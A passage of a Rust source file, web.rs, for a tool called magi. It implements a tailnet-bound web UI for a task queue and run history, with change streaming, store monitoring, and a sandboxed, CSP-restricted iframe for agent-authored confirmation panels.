Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
336    let mut stamps = try_stamps(ui.notices.root(), false, true)?;
337    let inquiries = ui.home.join("notifications").join("task-inquiries");
338    for (id, stamp) in try_stamps(&inquiries, false, false)? {
339        stamps.insert(format!("decision:{id}"), stamp);
340    }
341    Ok(stamps)
342}
343
344fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
345    let mut changed: Vec<_> = next
346        .iter()
347        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
348        .map(|(id, _)| id.clone())
349        .collect();
350    let mut removed: Vec<_> = previous
351        .keys()
352        .filter(|id| !next.contains_key(*id))
353        .cloned()
354        .collect();
355    changed.sort_unstable();
356    removed.sort_unstable();
357    Delta {
358        base,
359        changed,
360        removed,
361    }
362}
363
364/// Change detection token for recorded runs under `runs`.
365#[cfg(test)]
366fn runs_revision(runs: &FsPath) -> u64 {
367    stamps_revision(&store_stamps(runs, true))
368}
369
370/// Opaque tokens use the exact metadata snapshot behind the delta, in both
371/// health and SSE. Nanoseconds and length also detect same-millisecond writes
372/// and deleting an older conversation (a newest-mtime token cannot do that).
373fn stamps_revision(stamps: &Stamps) -> u64 {
374    use std::hash::{Hash as _, Hasher as _};
375    if stamps.is_empty() {
376        return 0;
377    }
378    let mut entries: Vec<_> = stamps.iter().collect();
379    entries.sort_unstable();
380    let mut hasher = std::hash::DefaultHasher::new();
381    entries.hash(&mut hasher);
382    hasher.finish().max(1)
383}
384
385#[derive(Clone, Debug)]
386pub(crate) struct ChangeNotification {
387    pub payload: serde_json::Value,
388}
389
390#[derive(Default, Debug)]
391pub(crate) struct QueueIndex {
392    // Retain parsed records only while their file identity is unchanged.
393    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
394    #[cfg(test)]
395    reparsed: usize,
396}
397
398#[derive(Clone, Debug)]
399struct TaskRelation {
400    id: String,
401    status: Option<crate::queue::TaskStatus>,
402    priority: i32,
403    runs: Vec<String>,
404    source: Source,
405    chat: Option<String>,
406}
407
408impl From<Task> for TaskRelation {
409    fn from(task: Task) -> Self {
410        Self {
411            id: task.id,
412            status: Some(task.status),
413            priority: task.priority,
414            runs: task.runs,
415            source: task.source,
416            chat: task.chat,
417        }
418    }
419}
420
421#[derive(Debug, PartialEq, Eq, Hash)]
422struct FileIdentity {
423    modified: std::time::SystemTime,
424    len: u64,
425    #[cfg(unix)]
426    identity: (u64, u64, i64, i64),
427}
428
429fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
430    let meta = path.metadata()?;
431    Ok(FileIdentity {
432        modified: meta.modified()?,
433        len: meta.len(),
434        #[cfg(unix)]
435        identity: {
436            use std::os::unix::fs::MetadataExt as _;
437            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
438        },
439    })
440}
441
442type Revisions = (u64, u64, u64, u64, u64, u64);
443type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
444
445#[derive(Debug)]
446pub(crate) struct SharedMonitor {
447    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
448    pub latest: Arc<Mutex<MonitorSnapshot>>,
449    pub worker_started: std::sync::atomic::AtomicBool,
450    pub queue_index: Arc<Mutex<QueueIndex>>,
451    list_walks: Mutex<Vec<ListWalk>>,
452    disk: Arc<Mutex<DiskObservation>>,
453    health_index: Mutex<HealthIndex>,
454    disk_cache: Mutex<DiskCache>,
455    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
456    talk_status_index: Mutex<TalkStatusIndex>,
457    bulk_slots: Arc<tokio::sync::Semaphore>,
458    talk_core_slots: Arc<tokio::sync::Semaphore>,
459    #[cfg(test)]
460    talk_parses: std::sync::atomic::AtomicUsize,
461}
462
463/// Request-time indexes retain projections, never transcripts or whole runs.
464#[derive(Debug, Default)]
465struct HealthIndex {
466    runs: HashMap<String, (FileIdentity, bool)>,
467    questions: Option<QuestionCounts>,
468    notices: Option<(u64, usize)>,
469    #[cfg(test)]
470    run_parses: usize,
471}
472
473/// Membership classification retains no transcript data, including for closed
474/// history that has never been requested. Cache unreadable files too.
475#[derive(Debug, Default)]
476struct TalkStatusIndex {
477    records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
478    #[cfg(test)]
479    parses: usize,
480}
481
482/// Talk's serializer writes status before turns. Stop deserializing as soon as
483/// that header is available; do not validate or traverse the transcript here.
484/// Noncanonical headers are bounded too and conservatively included in the
485/// initial page, where the ordinary row reader validates their actual status.
486fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
487    use serde::de::{IgnoredAny, MapAccess, Visitor};
488
489    struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
490    impl<'de> Visitor<'de> for StatusHeader<'_> {
491        type Value = ();
492
493        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
494            f.write_str("a conversation header")
495        }
496
497        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
498            while let Some(key) = map.next_key::<String>()? {
499                match key.as_str() {
500                    "status" => {
501                        *self.0 = Some(map.next_value()?);
502                        return Err(serde::de::Error::custom("conversation header complete"));
503                    }
504                    "turns" => {
505                        *self.0 = Some(talk::TalkStatus::Open);
506                        return Err(serde::de::Error::custom("noncanonical conversation header"));
507                    }
508                    _ => {
509                        map.next_value::<IgnoredAny>()?;
510                    }
511                }
512            }
513            Ok(())
514        }
515    }
516
517    // At most one KiB of read-ahead for canonical files, and a fixed maximum
518    // even for an oversized header. Do not call Deserializer::end: the rest of
519    // the document deliberately belongs to the paged row reader.
520    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
521    let mut json = serde_json::Deserializer::from_reader(reader);
522    let mut status = None;
523    // The visitor deliberately signals completion with an error, avoiding the
524    // deserializer's normal closing-brace check on the unfinished object.
525    let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
526    status.or_else(|| match result {
527        Ok(()) => Some(talk::TalkStatus::Open),
528        Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
529        Err(_) => None,
530    })
531}
532
533fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
534    open_talk_ids_with(ui, ids, |path| {
535        std::fs::File::open(path).ok().and_then(read_talk_status)
536    })
537}
538
539fn open_talk_ids_with(
540    ui: &Ui,
541    ids: &[String],
542    mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
543) -> std::collections::HashSet<String> {
544    let mut index = ui
545        .monitor
546        .talk_status_index
547        .lock()
548        .unwrap_or_else(PoisonError::into_inner);
549    let present: std::collections::HashSet<_> = ids.iter().collect();
550    index.records.retain(|id, _| present.contains(id));
551    let mut open = std::collections::HashSet::new();
552    for id in ids {
553        let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
554            index.records.remove(id);
555            continue;
556        };
557        let status = if let Some((old, status)) = index.records.get(id)
558            && *old == identity
559        {
560            *status
561        } else {
562            let status = read_status(&ui.talks.path_of(id));
563            #[cfg(test)]
564            {
565                index.parses += 1;
566            }
567            if file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity) {
568                index.records.insert(id.clone(), (identity, status));
569            } else {
570                index.records.remove(id);
571            }
572            status
573        };
574        if status == Some(talk::TalkStatus::Open) {
575            open.insert(id.clone());
576        }
577    }
578    open
579}
580
581/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
582const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
583
584#[derive(Debug)]
585struct QuestionCounts {
586    revision: u64,
587    measured: std::time::Instant,
588    open: usize,
589    owner: usize,
590}
591
592#[derive(Debug, Clone)]
593struct DiskSizes {
594    runs: u64,
595    worktrees: u64,
596    cache: Option<u64>,
597}
598
599#[derive(Debug, Default)]
600struct DiskCache {
601    measured: Option<std::time::Instant>,
602    loading: bool,
603    config: Option<Config>,
604    disk: Option<DiskSizes>,
605    update: Option<UpdateView>,
606}
607
608/// Keep a failed store's last observation without suppressing healthy stores.
609fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
610    let (mut rev, mut stamps) = previous.unwrap_or_default();
611    for (index, root, runs) in [
612        (0, ui.queue.root(), false),
613        (1, ui.runs.as_path(), true),
614        (2, ui.talks.root(), false),
615    ] {
616        if let Ok(next) = try_store_stamps(root, runs) {
617            let value = stamps_revision(&next);
618            match index {
619                0 => rev.0 = value,
620                1 => rev.1 = value,
621                _ => rev.3 = value,
622            }
623            stamps[index] = next;
624        }
625    }
626    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
627        rev.2 = stamps_revision(&next);
628    }
629    if let Ok(next) = notice_and_decision_stamps(ui) {
630        rev.4 = stamps_revision(&next);
631    }
632    rev.5 = ui.lock_loop().rev;
633    (rev, stamps)
634}
635
636impl SharedMonitor {
637    pub fn new() -> Self {
638        let (tx, _) = tokio::sync::broadcast::channel(64);
639        Self {
640            broadcaster: tx,
641            latest: Arc::default(),
642            worker_started: std::sync::atomic::AtomicBool::new(false),
643            queue_index: Arc::default(),
644            list_walks: Mutex::default(),
645            disk: Arc::default(),
646            health_index: Mutex::default(),
647            disk_cache: Mutex::default(),
648            talk_index: Mutex::default(),
649            talk_status_index: Mutex::default(),
650            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
651            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
652            #[cfg(test)]
653            talk_parses: std::sync::atomic::AtomicUsize::new(0),
654        }
655    }
656
657    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
658        let mut receiver = self.broadcaster.subscribe();
659        self.ensure_worker(ui);
660        loop {
661            if let Some((revisions, _)) = self
662                .latest
663                .lock()
664                .unwrap_or_else(PoisonError::into_inner)
665                .as_ref()
666            {
667                return Ok(*revisions);
668            }
669            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
670                .await
671                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
672                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
673        }
674    }
675
676    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
677        if self
678            .worker_started
679            .compare_exchange(
680                false,
681                true,
682                std::sync::atomic::Ordering::SeqCst,
683                std::sync::atomic::Ordering::SeqCst,
684            )
685            .is_err()
686        {
687            return;
688        }
689
690        let weak_ui = Arc::downgrade(ui);
691        tokio::spawn(async move {
692            let mut ticker = tokio::time::interval(POLL);
693            loop {
694                ticker.tick().await;
695                let Some(ui) = weak_ui.upgrade() else {
696                    break;
697                };
698
699                let previous = ui
700                    .monitor
701                    .latest
702                    .lock()
703                    .unwrap_or_else(PoisonError::into_inner)
704                    .clone();
705                let state = Arc::clone(&ui);
706                let scan =
707                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
708
709                // A slow filesystem must not turn missed ticks into a busy loop.
710                ticker.reset();
711                let Ok((revisions, next_stamps)) = scan else {
712                    continue;
713                };
714
715                let mut latest_guard = match ui.monitor.latest.lock() {
716                    Ok(g) => g,
717                    Err(p) => p.into_inner(),
718                };
719
720                let previous = latest_guard.take();
721                let (last_rev, prev_stamps) = match previous {
722                    Some((r, s)) => (Some(r), Some(s)),
723                    None => (None, None),
724                };
725
726                if last_rev == Some(revisions) {
727                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
728                    continue;
729                }
730
731                let mut payload = serde_json::json!({
732                    "queue_rev": revisions.0,
733                    "runs_rev": revisions.1,
734                    "questions_rev": revisions.2,
735                    "talks_rev": revisions.3,
736                    "notifications_rev": revisions.4,
737                    "loop_rev": revisions.5,
738                });
739
740                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
741                    for (index, (key, rev)) in [
742                        ("queue_delta", base.0),
743                        ("runs_delta", base.1),
744                        ("talks_delta", base.3),
745                    ]
746                    .into_iter()
747                    .enumerate()
748                    {
749                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
750                        if delta.changed.len() + delta.removed.len() > 0
751                            && delta.changed.len() <= 50
752                        {
753                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
754                        }
755                    }
756                }
757
758                *latest_guard = Some((revisions, next_stamps));
759                drop(latest_guard);
760
761                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
762            }
763        });
764    }
765}
766
767/// Everything the handlers touch.
768///
769/// The queue, the runs directory and the magi home are fields rather than
770/// process-global lookups so a test drives the real router against a temp
771/// directory instead of the operator's own history.
772#[derive(Debug, Clone)]
773pub struct Ui {
774    queue: Queue,
775    questions: Questions,
776    /// `<home>/notifications`, the bell's own store. Derived from `home` in
777    /// [`Ui::new`] so no constructor signature had to grow.
778    notices: Notices,
779    talks: Talks,
780    runs: PathBuf,
781    references: Arc<id_links::IndexCache>,
782    home: PathBuf,
783    repo: PathBuf,
784    /// Where the runs' worktrees live, for the health disk figures.
785    ///
786    /// Spelled independently of [`crate::run::default_worktree_root`] so the
787    /// test servers can point it at their own temp directory: the health route
788    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
789    /// be measuring the machine instead of the server.
790    worktrees_root: PathBuf,
791    /// Talks with an agent turn in flight right now.
792    ///
793    /// In-process and therefore not durable, which is correct: it guards
794    /// against two taps on one phone and two phones on one tailnet, both of
795    /// which are this process's own concurrency. A second `magi web` would not
796    /// see it, and a second `magi web` on the same home is already a
797    /// misconfiguration the queue's claims would catch first.
798    talk_turns: Arc<Mutex<TalkTurns>>,
799    /// Short persistence-to-worker-publication transactions only, never agent
800    /// execution. A handover closes admission before it releases the runtime.
801    admissions: Arc<tokio::sync::RwLock<bool>>,
802    /// Held by `POST /api/upgrade` from its busy-stage check until the first
803    /// progress record is written, so two taps cannot both start an upgrade.
804    /// After that `upgrade.json` carries the exclusion.
805    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
806    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
807    /// exclusion in memory for when `upgrade.json` could not be written.
808    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
809    /// Request failures before progress exists; never overwrite upgrade.json.
810    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
811    auto_failed_tag: Arc<Mutex<Option<String>>>,
812    upgrade_runner: UpgradeRunner,
813    /// Runs this process is resuming right now.
814    ///
815    /// Separate from `talk_turns` because a run and a talk are different
816    /// things to hold, and a resume is far more expensive to start twice: it
817    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
818    /// guards two taps and two phones, which is this process's own
819    /// concurrency.
820    resuming: Arc<Mutex<HashSet<String>>>,
821    /// The last scan of `[repos] roots`, and when it happened. Shared across
822    /// requests so polling `GET /api/repos` repeatedly does not repeat the
823    /// filesystem walk every time - see [`repos::Cache`].
824    repos_cache: repos::Cache,
825    /// The machine-config file the settings screen reads and writes: always
826    /// [`Config::machine_layer`], never anything a request names. A field so a
827    /// test can point it at its own temp directory instead of the operator's.
828    machine_config: Option<PathBuf>,
829    /// Merge mode override handed to the loop this process starts.
830    merge: Option<String>,
831    /// Local request revision and errors; execution belongs to detached workers.
832    looping: Arc<Mutex<LoopState>>,
833    /// Isolated route-test scheduler; never compiled into production.
834    #[cfg(test)]
835    launch: Launch,
836    /// A test-only stop point inside `talk_say`'s busy branch. See
837    /// [`BusyQueueGate`].
838    #[cfg(test)]
839    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
840    pub(crate) monitor: Arc<SharedMonitor>,
841}
842
843type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
844
845/// A one-shot stop point the busy branch's queued-draft write can be made to
846/// pause at, right before [`talk::queue`] runs.
847///
848/// Exists because a test cannot otherwise pin *when*, relative to the turn
849/// slot being freed, that write happens: `blocking` runs it on
850/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
851/// already finished, so counting polls on the handler future to park it at a
852/// particular `.await` is a guess about scheduling, not a fact about it - see
853/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
854/// used to do exactly that and paid for it with an occasional "async fn
855/// resumed after completion" panic under load.
856///
857/// `reached` fires the instant the write is about to run, so a test waits for
858/// a real event instead of a poll count. `release` then blocks the write
859/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
860/// rather than an async channel because this all happens inside the
861/// `spawn_blocking` closure the write already runs on, off any runtime
862/// worker, so blocking here costs nothing the write was not already going to
863/// cost.
864#[cfg(test)]
865struct BusyQueueGate {
866    reached: tokio::sync::oneshot::Sender<()>,
867    release: std::sync::mpsc::Receiver<()>,
868}
869
870#[cfg(test)]
871impl std::fmt::Debug for BusyQueueGate {
872    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
873        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
874    }
875}
876
877impl Ui {
878    /// A server over explicit paths.
879    pub fn new(
880        queue: Queue,
881        questions: Questions,
882        talks: Talks,
883        runs: PathBuf,
884        home: PathBuf,
885        repo: PathBuf,
886    ) -> Self {
887        Self {
888            queue,
889            questions,
890            notices: Notices::at(home.join("notifications")),
891            talks,
892            runs,
893            references: Arc::default(),
894            home,
895            repo,
896            // The default location, overridden by `with_worktrees_root` - a
897            // builder step rather than a ninth parameter, for the reason
898            // `with_merge` gives.
899            worktrees_root: run::default_worktree_root(),
900            talk_turns: Arc::default(),
901            admissions: Arc::default(),
902            upgrade_gate: Arc::default(),
903            upgrade_spawned: Arc::default(),
904            upgrade_request_error: Arc::default(),
905            auto_failed_tag: Arc::default(),
906            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
907            resuming: Arc::default(),
908            repos_cache: repos::Cache::new(),
909            machine_config: Config::machine_layer(),
910            merge: None,
911            looping: Arc::default(),
912            #[cfg(test)]
913            launch: launch_daemon,
914            #[cfg(test)]
915            busy_queue_gate: Arc::default(),
916            monitor: Arc::new(SharedMonitor::new()),
917        }
918    }
919
920    /// Refresh metadata on every lookup, including external-process writes. Only
921    /// changed records are parsed. Never publish a partial scan as an empty set.
